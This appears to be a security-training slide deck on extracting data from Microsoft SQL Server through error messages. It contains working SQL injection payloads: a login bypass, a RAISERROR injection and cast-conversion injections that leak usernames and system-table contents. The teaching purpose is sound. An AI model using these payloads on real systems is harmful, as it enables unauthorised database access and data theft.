Downloading arbitrary data via SQL errors : Downloading arbitrary data via SQL errors Marcell FÓTI
CEH, ECSA, MCSE, MCDBA, Security MVP, MCT
Brush up: SQL injection basics : The SQL command is always a string
Even stored procedure calls are strings, not binary
SQL commands are compiled on the fly
Always on the SQL server side
AI has not been invented yet
Every command get processed, beig correct or not
How to trick this? (typical login sequence) Brush up: SQL injection basics „SELECT * FROM LOGINS
WHERE USERNAME=‘” + uName
+ „’ AND PWD=‘” + pwd +”’”
How to log in without any info? : Enter the following „username”:
uName = blahblah’ OR 1=1 –-
Will be interpreted and executed as: „SELECT * FROM LOGINS
WHERE USERNAME=‘blahblah’ OR 1=1 –- ’ AND PWD=‘’ How to log in without any info?
How to get arbitrary SQL data? : Classic approach: we need a vulnerable data page to play with
Method 1: UNION ALL
We are restricted to the presentation layer’s capabilities
Method 2: Blind SQL injection
Guessing by using true-false logical expressions
Binary search
Problems with blind SQL injection
Very slow
Extremely noisy
Needs to understand the query and table structure behind
High chance to have to log in How to get arbitrary SQL data?
What if… : …the only thing we see is What if…
Error messages: a new communication channel : Error messages: a new communication channel
Idea no. I. RAISERROR : Let’s send back data by raising an error!
Construct the following „username”:
Only the first TDS block (~result set) will be displayed ?
We have only 1 bullet to shoot „SELECT * FROM LOGINS WHERE USERNAME=‘
blahblah’ declare @s varchar(999) select @s = username from tblLoginInfo raiserror (@s, 15, 1) –-
’ AND PWD=‘’ Idea no. I. RAISERROR
Idea no. II. bogus SQL command : Let’s screw up the main SQL command!
We won’t be able to log in uh-oh ?
Any SQL error will do ?
Lets forge a data conversion error, like
Cast(‘hello world’ as int)
Cast() takes one argument only ?
One row, one column Idea no. II. bogus SQL command
Idea no. II. bogus SQL command : Construct the following „username”:
Problem: only one data field can be displayed ? „SELECT * FROM LOGINS WHERE USERNAME=‘
blahblah’ OR cast((select top 1 username
from tblLoginInfo) as int) > 3 –-
’ AND PWD=‘’ Idea no. II. bogus SQL command
Gimme all! : How can we condense multiple rows and columns into one datafield?
XML is our friend! Gimme all! „SELECT * FROM LOGINS WHERE USERNAME=‘
blahblah’ OR cast((select name, type from sysobjects for xml auto) as int) > 3 –-
’ AND PWD=‘’
Let’s do it! : Let’s do it! End of theory. And now... LAB: building bogus SQL injection (30 minutes)